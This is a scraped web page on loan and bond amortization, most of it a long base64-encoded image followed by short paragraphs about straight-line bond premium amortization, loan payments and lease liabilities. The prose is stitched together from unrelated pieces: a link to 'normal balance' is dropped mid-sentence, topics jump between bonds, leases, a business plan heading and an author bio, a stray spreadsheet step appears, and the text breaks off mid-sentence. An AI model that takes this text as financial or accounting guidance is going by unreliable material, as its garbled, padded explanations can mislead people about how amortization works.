z\/jr+UVbehbu8mXdvauJULk6nT4r9EnNPS3K1BcTHQphZKcNKHDUokkeOBEZnhqFopUk8cD1keBlyGOKikks97fO+w7pODk8xcrH6AAFReAAABwfEJWl+5vpq+8Yij4hK0v3N9NX3jAGYAAAIy03vdqnzJ\/8NQwhm2m97tU+ZP8A4ahhACHtj70a3\/V0n8JQ3chpFsdVka3gRH\/8uk8f9EobCij1LDwrV1XjPjbi+pAEuAiu49R8q6r6OL6kO49R8q6r6OL6kASoCK7j1Hyrqvo4vqQ7j1Hyrqvo4vqQBKgIruPUfKuq+ji+pDuPUfKuq+ji+pAGi3j2folo7zLvYdepjE9hhVTlNtPozIJ1DbRoUZHqPAzxLHxiy0mRpIyLVgKDv6oVrZdsLvKdQa1aWS\/LmzG3XKfMjwpEePkb0jiXSawIiLWZGR44ERYYjZiuDkmRHw5XqFj\/ANeNeoGlwTpwcp2Wu3EzRk1Ukoxv4FrY\/IYY\/IYqngDk9Od6nbjXqA4A5PTnep2416gV6Onv8mWZ9Td5lrY\/IYY\/IYqngDk9Od6nbjXqA4A5PTnep2416gNHT3+TGfU3eZa2PyGGPyGKp4A5PTnep2416gOAOT053qduNeoDR09\/kxn1N3mWtj8hhj8hiqeAOT053qduNeoDgDk9Od6nbjXqA0dPf5MZ9Td5lrY\/IYY\/IYqngDk9Od6nbjXqA4A5PTnep2416gNHT3+TGfU3eZa2PyGGPyGKp4A5PTnep2416gOAOT053qduNeoDR09\/kxn1N3mWtj8hhj8hiqeAOT053qduNeoDgDk9Od6nbjXqA0dPf5MZ9Td5lrY\/IYY\/IYqngDk9Od6nbjXqA4A5PTnep2416gNHT3+TGfU3eZa2PyGGPyGKp4A5PTnep2416gOAOT053qduNeoDR09\/kxn1N3mRFRodIrO69iP1amxpaqZYRMyJpkZtC+VQWknE46sxEtWvxY6tYu0tWoiHyPX7s7Q0\/dL0my1Etvb+pHLsyh2dVirbbc2JFOU6RkbptZVNEtCDJvLialGZHqwFxFcJIMseHK9Qv\/HGvUDTiKcbQzp6rK3\/AHyM9CcryzY+bvrLWx+Qwx+QxVPAHJ6c71O3GvUBwByenO9Ttxr1AzaOnv8AJmjPqbvMtcj+QU7ukqTTK9Fu+o1XiNyoU23NOZkMOFil1BsyMUmXjI\/GMvgDk9Od6nbjXqBVO6GutrtkaLZadQrwLwLSVKRaiHFiRJtZbzE8pt40raXoiJt3wcCWeJJJStQ0YSEdNHMnruUYmc9FLOjq9T6niMR4kduLFYbZZZSTbbbaSSlKUlgRERaiIiLDAh24\/IYqKFcRUH4bL8q+m9SO8ttKnGe7zKtGoy1pzExrwPViO\/gDk9Od6nbjXqBQ6dO+ufJl0Z1GtUOZa2PyGGPyGKp4A5PTnep2416gOAOT053qduNeoEaOnv8AJk59Td5mz3xYcElt9X\/N2o\/5ZwSRH8uP\/t4xUN5tycmk3b2qqnDHeRP3nRJz5xZlYaWw+SWFno3EkyWZCsMDLEsSPjIW+asx8Znhq1iJKKis138fL0IhKTm85W1AAAVlwAAAHB8QlaX7m+mr7xiKPiErS\/c301feMAZgAAAjLTe92qfMn\/w1DCGbab3u1T5k\/wDhqGEAIi16c1kq2RGRY06Txnh\/yShtaKrT1JxOdH4\/G4RDU7Y+9Gt\/1dJ\/CUN3IAY3dOnc\/j+lIO6dO5\/H9KQygAGL3Tp3P4\/pSDunTufx\/SkMoABi906dz+P6Ug7p07n8f0pDKAAU7e3eJY2wltrEWltVW24lOYKptLeS048aVraay+A0lSjxwPxDr773c8lqO8BRmXHhSJ3qRmXtWUYtfeRdtCk1KfCTCkVCeTkJ42nFG222ZIzlrJJ8SsNZliWrEWslpOUhoaoKnHOu3567efozMtK6ks2yWrx\/9Kd777c8eX6uyJ\/qA777c8eX6uyJ\/qBcWiSGiSOL4fdfFftO7Vtq4PqU7332548v1dkT\/UB332548v1dkT\/UC4tEkNEkL4fdfFftFq21cH1Kd777c8eX6uyJ\/qA777c8eX6uyJ\/qBcWiSGiSF8Puviv2i1bauD6lO999uePL9XZE\/wBQHffbnjy\/V2RP9QLi0SQ0SQvh918V+0WrbVwfUp3vvtzx5fq7In+oDvvtzx5fq7In+oFxaJOIaJIXw+6+K\/aLVtq4PqU7332548v1dkT\/AFAd99uePL9XZE\/1AuLRJDRJC+H3XxX7RattXB9Sne++3PHl+rsif6gO++3PHl+rsif6gXFokhokhfD7r4r9otW2rg+pTvffbnjy\/V2RP9QHffbnjy\/V2RP9QLi0SQ0SQvh918V+0WrbVwfUp3vvtzx5fq7In+oDvvtzx5fq7In+oFxaJI50SQvh918V+0WrbVwfU+VC3SNzKd0Qq3SrXK7hqsaVJTLKmSzwl7+U7o8miz+0145cvixx1CyO++3PHl+rsif6gRVfsrHtDuvqW+\/UZ0U6NYpuoNpivaMnlFOcRo3P5zZkvE06sTSWvDUL2S0nAaK\/d7Qdm9S81q5FFDTfxLV47PuU9332548v1dkT\/UB332548v1dkT\/UC4tEkNEkZ74fdfFftL7Vtq4PqU7332548v1dkT\/UDQL3N0jcxal2w7tDthvlNHtfBqczGnS29FGbQ8lTnhtFjga06ixPXxD6hNpPIKU3UVnmLTUiwtnn5cmI3UrbU+Ot+KvI82SmZHhIV\/JUXiPXgeBi\/CvDurFNNL1X7SjE6ZUpO6fyfUyC3X256Iixt8rXr\/c8\/wBSOe++3PHl+rsif6gW3CgtwojMRDrrqWW0tkt5ZrWrAiLFSj1mZ+Mz8Y79EkUt4fdfFftL0q21cH1Kd777c8eX6uyJ\/qA777c8eX6uyJ\/qBcWiSGiSIvh918V+0WrbVwfU+eryd1LcXaK7y1FAottlSJ9Sos6JFa7lTUaR1bC0oTmU0SSxMyLEzIvlF0mWBmWIir5G0ndLbYuSztS\/yyxK4kfER6iwPXjiIm4NJQTXj532fBEwU1N5wAAFZaAAABwfEJWl+5vpq+8Yij4hK0v3N9NX3jAGYAAAIy03vdqnzJ\/8NQwhm2m97tU+ZP8A4ahhACHtjh7Ea3jxdzpP4ShtCGK3l8OoQscT4oq\/WDV7YkZ2RrmHxbJ\/CUN2SojLEuUAYegrHP4fVV+tDQVjn8Pqq\/WjNxDEAYWgrHP4fVV+tDQVjn8Pqq\/WjNxDEAYWgrHP4fVV+tDQVjn8Pqq\/WjNxDEAUDuhLVWvsTau76o0N6iu1GbLm09jfkKStktK22R5ksqU4Z4kRFlI\/4HxCdJG67w8F66LDxYpqeP8AvGw2u0Tl6lgTWRHkbqxpMy4j0LX1ajG\/JUgiIi1EReIhp0qjCMVFX82ZlSzpyberV4FQZN158NdD5tTDJuvPhrofNqYuDOnl+wM6eX7BzpnurgdaBbz4lP5N158NdD5tTDJuvPhrofNqYuDOnl+wM6eX7A0z3VwGgW8+JT+TdefDXQ+bUwybrz4a6HzamLgzp5fsDOnl+wNM91cBoFvPiU\/k3Xnw10Pm1MMm68+Guh82pi4M6eX7Azp5fsDTPdXAaBbz4lP5N158NdD5tTDJuvPhrofNqYuDOnl+wM6eX7A0z3VwGgW8+JT+TdefDXQ+bUwybrz4a6HzamLgzp5fsDOnl+wNM91cBoFvPiU\/k3Xnw10Pm1MMm68+Guh82pi4M6eX7Azp5fsDTPdXAaBbz4lP5N158NdD5tTDJuvPhrofNqYuDOnl+wM6eX7A0z3VwGgW8+JT+TdefDXQ+bUwybrz4a6HzamLgzp5fsDOnl+wNM91cBoFvPifH1oLU372Z3SlJi1I7AHaqt2aRTYymo892AUdUpxZZiT+1S5nbVirWgk4Y4azFwJRuvDLU9dD5tTHH7JzdbqXlJRpu8LA8OI+6R4i4UrSRcf2C+vXX8CUFeyvqKaNDXK8n47SoMm68+Guh82phk3Xnw10Pm1MXBnTy\/YGdPL9go0z3VwLtAt58SnzRuvC\/wCVuh82p\/mKq3QdoN0FZKjWXtPbw7vFxaZaaHJiFS25ylb6S08adKlwyxay58cpkrHLh4x9aGtJ+P7BU9\/2RT92hK1l7PqZ4v8A8Uj\/AN8Bdhq6VZZ0Vb0KcRRapSzZO\/qYMCRusqhCYnQnLpSYkNpdb0jNVbXlURGWZKsFJPAy1GRGXIQ78m68+Guh82pi3kqQkspav4D9Z08v2CnTf7VwLlRT\/wAT4lP5N158NdD5tTDJuvPhrofNqYuDOnl+wM6eX7A0z3VwGgW8+J89Xlt7qM7u7UFaJy606X3Fm79KEmob40GgXpNHn8HPlxwzascMRc\/g+LH5cT8YjL41pO6a2xEf\/N2pf5ZYki5eXWOZzz0tVvHw+RNOGZN2fkcgACouAAAA4PiErS\/c301feMRR8QlaX7m+mr7xgDMAAAEZab3u1T5k\/wDhqGEM203vdqnzJ\/8ADUMIAQ9sfejW\/wCrpP4ShPlYux5Y4WUo+s8fcLWyIa0kORULO1WBEb0j8mE+y0jMScy1NqJJYnqLEzLj1DtTbmqGWu7m0fpqdr+X3UAJT2GWQ8laP1FrZD2GWQ8laP1FrZEZ7Oan0dWj9NTv1Qezmp9HVo\/TU79UAJP2GWQ8laP1FrZD2GWQ8laP1FrZEZ7Oan0dWj9NTv1Qezmp9HVo\/TU79UAJP2GWQ8laP1FrZD2GWQ8laP1FrZEZ7Oan0dWj9NTv1Qezmp9HVo\/TU79UAKov6upg2utfd9QLP0egxCelTXphPxP2TjDbbZqSpLRpUo9eoiUnWfGQ25G5guINJGq7qEZ4fDv7Y67SVq1My2dmrRw7s7QPRqO1OS8gpNNS4o3kNpRlI5REftVY4mXiwxxE8V4ldMiM7o7V8XOKV+tGjTVVTjGLslfz+PqZXSg5ylNXvbyIbvYLh+jmF6d\/bDvYLh+jmF6d\/bE1wiV3oitX1ilfrRxwiVzojtX1ilfrRzpq2++P3OtFR3eRDd7BcP0cwvTv7Yd7BcP0cwvTv7YmuESu9Edq+sUr9aHCJXeiO1fWKV+tDTVt98fuNFR3eRC97BcP0cwvTv7Yd7BcP0cwvTv7YmeESudEdqusUr9aHCJXOiO1XWKV+tDTVt98fuNFR3eRDd7BcP0cwvTv7Yd7BcP0cwvTv7YmeESudEdq+sUr9aHCJXOiO1fWKV+tE6atvvj9xoqO7yIbvYLh+jmF6d\/bDvYLh+jmF6d\/bEzwiVzojtX1ilfrQ4RK50R2r6xSv1ojTVt98fuNFR3eRDd7BcP0cwvTv7Yd7BcP0cwvTv7YmeESudEdq+sUr9aHCJXOiO1XWKV+tDTVt98fuNFR3eRDd7BcP0cwvTv7Yd7BcP0cwvTv7YmuESu9Edq+sUr9aOOESudEdq+sUr9aGmrb74\/caKju8iG72C4fo5henf2w72C4fo5henf2xM8Ilc6I7V9YpX60OESudEdq+sUr9aGmrb74\/caKju8iG72C4fo5henf2w72C4fo5henf2xM8Ilc6I7V9YpX60OESudEdqusUr9aGmrb74\/caKju8igLSXAWTlbpekWOsvZ+lQqCxZlNWqcOUTzqHkb6caVkwWSicP8AZkR5iIsuJkr2p3KncwXEmkjVd1CP\/v39sQCZNtOG9d5p3W2h7mexUqETJS6Zp9Pvs3s2G+8pIynh7bHHxYaxvPCJXfHdHav+2TSv1o0V8TVkopS8EvP569pRRoUo5zcfF7PoQ3ewXD9HML07+2HewXD9HML07+2JnhErnRHavrFK\/WhwiVzojtX1ilfrRn01bffH7l+io7vIhu9guH6OoRf9+\/tipt0XufrCUahWWiXdWXp1Kq9atRDpiX3XHVtGhxp88rhGpWKcyUmeBY4ELz4Q670R2r6xSv1o0m8udbK2btkXKZdbaFpNAtNErUknpdMSa2WW3UmlGEsyNZm4nDHAtR4mQvw2IrQqxlneG1\/cpr0KU6bio+PwJOm7l+5dECOmqWCpj0wm0k+4yuQ22twi8JSUG6o0pM8TIjUeBHxnxjJ72C4fo5henf2xMpvEr+BZrobWEfjLfNK\/WhwiVzojtX1ilfrRTp671574\/cu0VHd5EN3sFw\/RzC9O\/th3sFw\/RzC9O\/tiZ4RK50R2r6xSv1ocIlc6I7V9YpX60NNW33x+40VHd5GgXm7nW5ih3c2qrNKsJEjTYFEnSYzyX3jNt1DC1JUWK8MSMiMWyXjGk28tPai1Nh7Q2Yp91NpmpVXpUuCyt6VSybS46ypCTUZTDMkkaixwIzw8RjdU5sMVJwx1l9X54jmpKc0nN38fP06HVOEYybirL0P0AAKi4AAADg+IStL9zfTV94xFHxCVpfub6avvGAMwAAARlpve7VPmT\/4ahhDNtN73ap8yf\/DUMIAflxxtltbzziG220mpS1qIkpIixMzM9RDU+F+6fpOsn21GIy\/84lLa+82vf1ZK\/CUPK4yLAh6LIWQ6eV1Nzm45tvD4nwssZVnk1wUIp3v4\/A9PeF+6fpOsl21G2w4X7p+k6yXbUbbHmFgXILCiXGW2qFmKdamAUJ9irNtLhtZnG1OqceW3oyccQlk1p0alqTpMUtkaz8EjMvsVuymCw6Tq1mr6vBHyafaTFVnaFJPifffC\/dP0nWS7ajbYcL90\/SdZLtuNtjzzlXQXgQn2o0yiMMOvk440hyoRkm4y2hS1yCI3NbBJQoze\/wBXgXthL0zc83pVGoxKc9RoVP324lBOy6lHQlBG8bJLUlKzWaTWRkk0pPNgeXMK32aybFXeJ\/8Az1LFl7HSdlQ5M+9eF+6fpOsl23G2w4X7p+k6yXbUbbHnfZq6e31r4bdQs7QClMOrcQhRymGjVozSS1ElxaVZEqWhJrwykpRJxxMiE0vc+XoIjMP9yKfpH3lM6BVVioWgycZbSZmtwkmS1yGiRlUebMXiUk1JdmsmwebLE2f\/AB6iOX8bNZ0aGr5n3twv3T9J1ku2o22HC\/dP0nWS7ajbY81bQ2YrllZqKdaCnnDkrZbkE0paVKJDicyDUSTPKZlgeU8DwMsS1kIzAuQao9jcNOKlGq2n8EUPtRiIuzprV6nqlQbaWPtS46zZm1dHq7jBEp1ECc1IUhJ8RmSFHgWPKJkfFm4U9\/No\/wCqU\/jJH2mPJZWwEcm4uWHjK6VuauemyZi5Y\/DKvJWbvq9AIOu25sTZeQ3DtLbCiUmQ6jSoZnVBqOtSMTLMRLURmWJGWPyGJwfDm7lIuFqk\/wDZyP8A5mSOsj5PjlPEqhOVlZvgRlTGyyfh9PFX1pWfxPrXhfun6TrJdtRtsOF+6fpOsl21G2x5hYFyBgQ9Z7F4dfzXwR5n2pr+7XM9PeF+6fpOsl21G2w4X7p+k6yXbUbbHwGi5K079VqVnYdRpUmt0mOh+XTGzf0zaluMNpaJRtE2pZrkITqWacUq18WP4iXD3qT9McKy6H0sOtMuLbqEVSCU62lxs8xOYZFIURkvHKfFjiMns1k7w7xb1svrY0fj2O8qH1f0Pv8A4X7p+k6yXbcbbDhfun6TrJdtRtseeNDukt9aRGkoVDamoOWqClTU6OZOOpW2hRoPP4aCU80RuJxQRrT4WsSqrgryU0tirbwpWifQbySOsw04M\/sMj2Y3CQpC98s5TSo8cxY4YljMuzOTYvNeJ1\/8epCy\/jmrqhq9JH3zwv3T9J1ku2o22HC\/dP0nWS7ajbY82bTWRtDY6a3TrS0xUCU62bpMuLSaySS1IxURGZp8JCsMcMSwMsSMjOIwLkGmPY3CzWdGq2vRFMu0+Ig82VNJ\/M9P0XuXUuKJCbzrJmo9SSKsxjMzM8CIizjayPEsR5KGPWwx5\/LuRaeSHTzJuWdfx+Fup9rI2VJ5Sz8+KWbbw+P\/AIAAB58+4AAAAAAAAAHBgCKr9rbK2USwq1FpaVRykmomTnzG45OZcMcucyxwxLHDlIQ\/C\/dP0nWS7ajbY+eN3z\/zE\/hU\/wD+UfL1lLNy7X2jp1l6fIjMSqpITFYXINRN6RR4JIzSlRlieBcXGZY4FrHr8mdm6GOwUcXUqON7+Wxtf0PL5Qy7WwmKeHhBO1uaTPSjhfun6TrJdtxtsOF+6fpOsl21G2x8DruDvDVDpsqFDhS1VNhL6WES0tuMZiZNKHNLkIlnvlgiSRnmN1JFieoYNduUvNs3TU1is2WWxDcUlDbhSWV6RSlpQlKCSszUZmssCIjxLWWrWL49msmz1RxP06lLy9jo3boeHqeg3C\/dP0nWS7bjbYcL90\/SdZLtuNtjz\/fuIvTjKWl2y6P2aVLxTUIqyVlU6lRJMnDJSknHezJLE0k2o1ERax2O3A3tNOvMqskZqYNKVZZsY0qM1LSZIUTmCzSbayWSTM0ZTNeUtYezWTf9SuMepH49j\/ccpH35wv3T9J1ku2o22HC\/dP0nWS7bjbY+AGbjrwFw59SkQ6cxDppy25Ejuiw+hD8dhb7jB6FSzJzI2vUZEWJazIY7dzF4UiHAqEKiNyWKlFalx1IktJNaF46iStRGpSSLMskkeRJkpWBHiJXZnJz\/AMx9B+P41fyfqeg\/C\/dP0nWS7ajbYcL90\/SdZLtuNtj4ARcPekskH7HGEaRxTLekqcRs1rInTNKczpYmRMOngXiQZ8WsI9xl47hSXZVHYhx4b8qJIfdltKS0+xHckLbUTalKIzbaUaTwyqzJPHKojEezWTf9T9OoWXsc\/wCR9T7\/AOF+6jxXnWSx8Rd242v\/AM42Ol1alVyAzVaJU4lRgyCNTMmI8l1pwiPA8q0mZHgZGWrxkY8n8C5B6IblD\/iCsv8A\/vf518Yst5ApZJw6rQm5Xdta+Df9DbknLNTKFd0pwSsr6r\/Ato+IStL9zfTV94xFHxCVpfub6avvGPLHojMAAAEZab3u1T5k\/wDhqGEM203vdqnzJ\/8ADUMIAQttSM7G14i+LJX4Sh5XGZHxD1pWhDiDbcSSkqLA0mWJGXIY1hV1V161GtV3FlzUesz7kR9Z8vtB6HIeW4ZIU1KGdnW89h8TK+SZZSlBxlbNv5X8Ty9G30i9q8ChRY0Ok2iXHZisMsMo3qysm0MuuONkWZB68zzpGrjNK1JMzSeA9EuCi67o3sv2RH2A4KLrujey\/ZEfYH2qna7DVlapQuvjbofJh2ar03eFW3on1POvhYt2ZsqKpxEqYJ5tpSaZFI2mnSWTrST0WptWkXi3qQZqM8MRnNX53ptVFup+yjO+0kkJUuFHUREmRp0eCbZp8FzWnViniIyLUPQbgouu6N7L9kR9gOCi67o3sv2RH2BU+02Beru306Fi7P4ta1X+p5zUK8221nKcxS6PWUMx4rjzsclw2HVNKdSSXMiloNSCURFiRHhjrw4xmzb5bxapEcp9Ur++Iry21ON72ZQasi2FFgtCCWkiOMyfgqIz0Za8TMx6GcFF13RvZfsiPsBwUXXdG9l+yI+wJfajBSd3h9e3V0IXZ7FJWVf6nmvbG1lWtzaaoWsrht7+qTulcJojJtGCSSlCSMzMiSlJEWviLWIbEeoPBRdd0b2X7Ij7AcFF13RvZfsiPsC6n2xoU4qEaLSXxXQrl2Xqyk5Sqq7+H3PlbcKe\/i0Z\/wDVKPxkj7TETQ7J2WsybirN2apVKN4iJw4UNtjORfzshFj\/AGiWHlMrY9ZSxUsRGNk7avRWPR5NwbwGHVBu9r6\/UD4c3cp\/\/Vqk\/wDZ2P8A5mSPuMQ9bsbZG0zzci0dlqRVXWk5G3JsJp9SE444JNaTMix14EOsj5QWTMUsRKN1Zq3qRlPBPKGH0ClbWmeVmIYmWsuPxD1B4KLrujey\/ZEfYDgouu6N7L9kR9ges9tKXuXxR5z2Vqe8XA87ot794cOWqpxK0yxOcaaZelop8YpLyW1NKRnd0edZkbDZ4qMzxSevwjxzol\/F6UBlbMK0jLDanNKTbdMiJJKvBxNODXgYmhKjJOBGZYmWJmY9A+Ci67o3sv2RH2A4KLrujey\/ZEfYGT2mwL1vDfToWrs9ikrKv9Tzis9eRbOy8KNAo1WbZahyznRyXDZdUy8ZoNSkKcQpScdGjEiPA8NZazxy5V7FvJ9EVZyfW0v05UduGbKobJHoEEwlKCWSCWksIsfHAyM9GWJmZnj6JcFF13RvZfsiPsBwUXXdG9l+yI+wJfafBSec8Nr+XQLs9ikrabV8zzZtrbKsW+tNMtVXyZKZM0ZLJklEgiQ2lCcMxmfEkuMzM+UQmI9QeCi67o3sv2RH2A4KLrujey\/ZEfYF9PthQpRUIUWkviiuXZitN50qqv6Hl8RGrUQ9a8cdZDV2rrbsmHUPs3d2ZQ42rMhSaTHI0nykeTUNoHwcu5ajld082Gbm389tuh9nJGSpZMz86V863greFwAAPgH2QAAAAAAAAAAD5K3fB4nYXDxFUyP\/ANKPk6JLkwJTM6E+tiRHcS606g8FIWk8UqL5SMiMeqdbsxZu0zTbFo7P02qtsqNbSJsVt8kKMsDNJLI8Dw5BEcFF13RvZfsiPsD12TO01PAYOOFlSva\/mvNt\/wBTzOUMgVMZiZV41Er28tiR56u313lvSZcl+0KXznOOuSUvQYziHTcJklYoU2acMIzOCcMCyFgRa8capXtXg1qi0uztYtK9KptHXGXDYNtCdGqOk0NHnSklnlSo9ZnieOJ6yIy9E+Ci67o3sv2RH2BxwT3W9G1l+yI+wNEe02Bi7rDa\/l0KH2fxb1Ov9T4HtPf\/AHgWkdJRHSoDBeFvWNT2zaJ3TPO6UidJeVeaQ54STIzI9eJlice\/fZebJSpEi0iH06VMhOkp8ZRNupdccJaCNs8iszqzM04HrItZERF6E8FF13RvZfsiPsBwUXXdG9l+yI+wOY9o8BBZscN9Oh1LIOMk7uv9Tz1O+q8tdJdojloyOI\/vgnEnCjmoye0+kLObeYiPfT+BY4J0h4YYEOX76LwVQIVMp9TZpsamwWoEYorBZ0IQk0msluZlIWtPgrNCiJSSIjLAsB6E8FF13RvZfsiPsBwUXXdG9l+yI+wJ9psD\/pvp0IWQMYv5\/wBTz3qN9151TeYdlWjbPe63HW8lPjNklS23W1nlS2RHil93zzPjIh2zr971ajFVEl2nS42onEmXc+KRmS23UKLMTWJFlkPFhjqzmZa8B6B8FF13RvZfsiPsBwUXXdG9l+yI+wHtLgH\/AJVcuhH4Bi\/f\/U8vix8Z6x6IblHHgCstiRl7t\/zr43ErqbryPErt7L4l\/wBUR9gbFAp8ClQ2qfS4MeHFYLK0xHaS222XHglKSIiL+AxZa7QQyrh40Y03Gzv4\/Br+psyVkSeTqzqyne6tzXQ7z4hK0v3N9NX3jEUfEJWl+5vpq+8Y8uehMwAAAR1om3HaDUWWW1OOORHkJQksTUZoMiIi\/tEPv5Pig1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAatv5PMaj1B\/YDfyeY1HqD+wNpAAasc5PMaj1B\/YE5SFGuGTmRxJKUoyJxtSFYYnxpURGQzQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEz7W2YpUk4VUtDTYT6SzG1Ilttqw8R4KMjGP7PbD+WNE7QZ2h56brwz74m1hYnq3j\/kmBT2J8pj2uD7JQxWHhWdVrOSfh4XV9p5LE9pZ4etOkqaea2vH4+h62ez2w\/ljRO0GdoPZ7YfyxofaDO0PJPE+UwxPlMafYuHvn+X7lHtXP3S\/N9j1s9nth\/LGh9oM7Qez2w\/ljRO0GdoeUdSs\/V6RBp1TqTJx2qs0p+I2taScW0RkRO6P25IUeJJUZESsqsMcB+qBQKlaWY7Cppt548WROdU65lShlltTjijP5EJUeBazw1Ct9kKKg6jr6l52XU7Xaes5Zmh1+v2PVr2e2H8saJ2gztB7PbD+WNE7QZ2h5Z1awFsqM+83JoM11tgoylyI7K3WcJCErZ8NJYYrStOBHrxMiwx1DrZsRbB60kGyC7O1GNWak4huNDkx1suLzGZEeCyLBOJKxVxFgescx7JYeSzliNXj4LqS+0tdOzoc30PVD2e2H8saJ2gztB7PbD+WNE7QZ2h5P1mk1Cg1WbRamgkS4El2I+lKsxE42s0qIjLUesjGHifKYtj2MpyWdGvqf+37nMu1VSLs6Sv8A\/X2PWz2e2H8saJ2gztDvg2usrU5aYNMtJS5clZGaWmJbbizIuPAkmZjyMxPlMW\/uRzx3QtkyPizTf8k+M+M7IxwuHnXVVvNTdrbPmWYftNOvWjS0aV2l4\/Y9Ksf7B1rlRm1GlyQ2gy8SlEQ\/adZa9Yr2tYnVpRn8Kr\/ePH0aeldmz1VSeYjfd\/Quds+eQb+hc7Z88hW31h9Y0d0W8Vd4+BZO\/oXO2fPIN+w+dNeeQrhppb7qGG9anFElJY+MzwHaqBKSRKS2pxJko8UaywI8D+oxy8NGPjIad+SLC39C52z55Bv6FztnzyFdlFk5m0mw4RuqJKMxGRKM+TlH5kMuR3lMulgtJ4GRY\/8AuJ7qnqzhp3sLG39C52z55Bv6FztnzyFdNsOOtuOILEmiJStevDlwHXx+P7RPdU\/8Q7x8Cyd\/Quds+eQb+hc7Z88hW31h\/aYd0W0jvHwLLbkx3VZW321HyEojHaNHsqZ92Gyx1ZFf7hvAz1aejlm3L6c89XAAAqOwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA81d15r3RNrTLi\/0H\/JMCnh6tV+6S7K1FVerlorCUWo1B8kpdkyISFuLJJYJzKMsTwIiIvkIYHALcwfFdhZvs9v8AIe6wXazD4bDU6EqbvGKXl5Kx47Fdm61evOrGatJt+fnrPLQB6l8AlzHRjZvs9v8AIOAS5joxs32e3+Q1e2WG93Ll1KPZbEb8efQ80bSWum2qh0tFViR1TaYxvQ5ycSdkMJJJMoc14GbaUmklYYmnAjxykOLH2wrFhqs5W6CbSZi4cmGlayV+zJ5pTalpymRkoiUZkfFiRYkfEPS\/gEuY6MbN9nt\/kHAJcx0Y2b7Pb\/IVe1eB0bpaJ5r8tXUs9m8XnqppFdeevofBbW6Tt2xNXUWqZQkyFyznZyjulg8e9s\/\/ACvtVHEaM0e1xNWBFgjLg12+Oau0tnLXWVYTBqFIobVLfJ+OTyM+Z3SE2bqlryqQ5lzGol4GosSHoFwCXM9GNm+z2\/yDgFuZ6MbN9nt\/kMkMvZLg7xoPZ5bLbS55EyhJWlWT4+XyPMa0ldlWotBUrST2mW5NUluy3UsIyNpU4o1GSU+ItfKePGZiNHqXwCXMdGNm+z2\/yDgEuY6MbN9nt\/kN0e2GEhFRjTlZenUzS7MYmbzpVI3+fQ8tBcG5H1boWyZn\/Om\/5J8fdfAJcx0Y2b7Pb\/IZ9CuiuysxVWa5Z6wlEp0+Pm0UmPDQhxGZJpPBRFqxSZl\/AxRje1mHxGHnRjTd5Jry81Yuw3ZuvRrRqSmrJp+Zt6NRaxXta\/esr+lV\/vFhJ14jFcpVOecU67DZWtWszNJYmPE0aqpu7PW1YOasiusS5QxLlFidxaVzBjzCDuLSuYM+YQ097jsKO7vaV+w8cd9t9JEZtrJZEfEZkeIzir0rWammlKMsM2vxGZkfH\/0jG5dxaVzBnzCDuLSuYM+YQ5eIpy8USqMl4M0qVUykstZmy0iHDWrDEkmWVJeI8fF4sBjSpKpS0qURETaCQki5C+UzxMb93FpXMGPMIO4tK5gz5hBHEQj4IOjJ+LNBjylRic0aU51pykvxpLx4fxHTiQsTuLSuYMeYQdxaVzBnzCE96h42GgdrXK7xLlDEuUWJ3FpXMGfMIO4tK5gz5hCe9x2Ed3e01Oyv75a\/2F\/7hvIxmKdBjL0jEVttXKlOBjJGarUVSV0X04ZisAABUWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB\/\/2Q==\" width=\"251px\" alt=\"straight line amortization formula\"\/><\/p>\n<p>An amortization schedule normally will show you how much interest and principal you are paying each period, and usually an amortization calculator will also calculate the total interest paid over <a href=\"https:\/\/en.wikipedia.org\/wiki\/Normal_balance\">normal balance<\/a> the life of the loan. Besides considering the monthly payment, you should consider the term of the loan . The longer you stretch out the loan, the more interest you&#8217;ll end up paying in the end.<\/p>\n<p>For example, if your loan is for $150,000 at 6 percent interest for 30 years , your loan payment will calculate out to $899.33. Founded in 1993 by brothers Tom and David Gardner, The Motley Fool helps millions of people attain financial freedom through our website, podcasts, books, newspaper column, radio show, and premium investing services.<\/p>\n<p>Alternatively, if the coupon rate is higher than the market interest rate, the bond is issued at a premium to its par value. The issue price and face value are equal only when market interest rate and the coupon rate are equal. Free rent, or rent abatement, is not included in the initial lease liability or ROU asset calculation. Expense for each period is calculated as the annual interest rate times the prior period\u2019s ending balance. You only accrue interest\/lease expense on the unpaid liability balance.<\/p>\n<h2 id=\"toc-0\">Business Plan<\/h2>\n<p>One way to calculate the amortization over the life of the bond is by using the straight-line method of amortization of bond premium amounts. This is the simplest way to amortize a bond, but it is not recognized by the IRS for tax purposes.<\/p>\n<p>Amortized bonds are loans in which the borrower pays back both the principal and the interest throughout the life of the loan. By amortizing the bonds, you avoid paying taxes on the interest income all at once and instead spread it out over the life of the bond. The company incurs a $38,790 bond interest expense each period but only pays out $30,000 in cash because the remaining $8,790 will be repaid when the bond becomes due. This $8,790 credit to Discount on Bonds Payable account increases the bonds\u2019 carrying value because it is a contra-asset account, which is subtracted from the Bond Payable account. The below table shows the decreases in the Discount on Bond Payable along with increase in bond\u2019s carrying value each period.<\/p>\n<p>Currently, Blackstone is a professional writer with expertise in the fields of mortgage, finance, budgeting and tax. She is the author of more than 2,000 published works for newspapers, magazines, online publications and individual clients. Drag down from the center of the selected cell downward to cover all cells through A367. You can use the amortization calculator below to determine that the Payment Amount is $400.76 per month. The 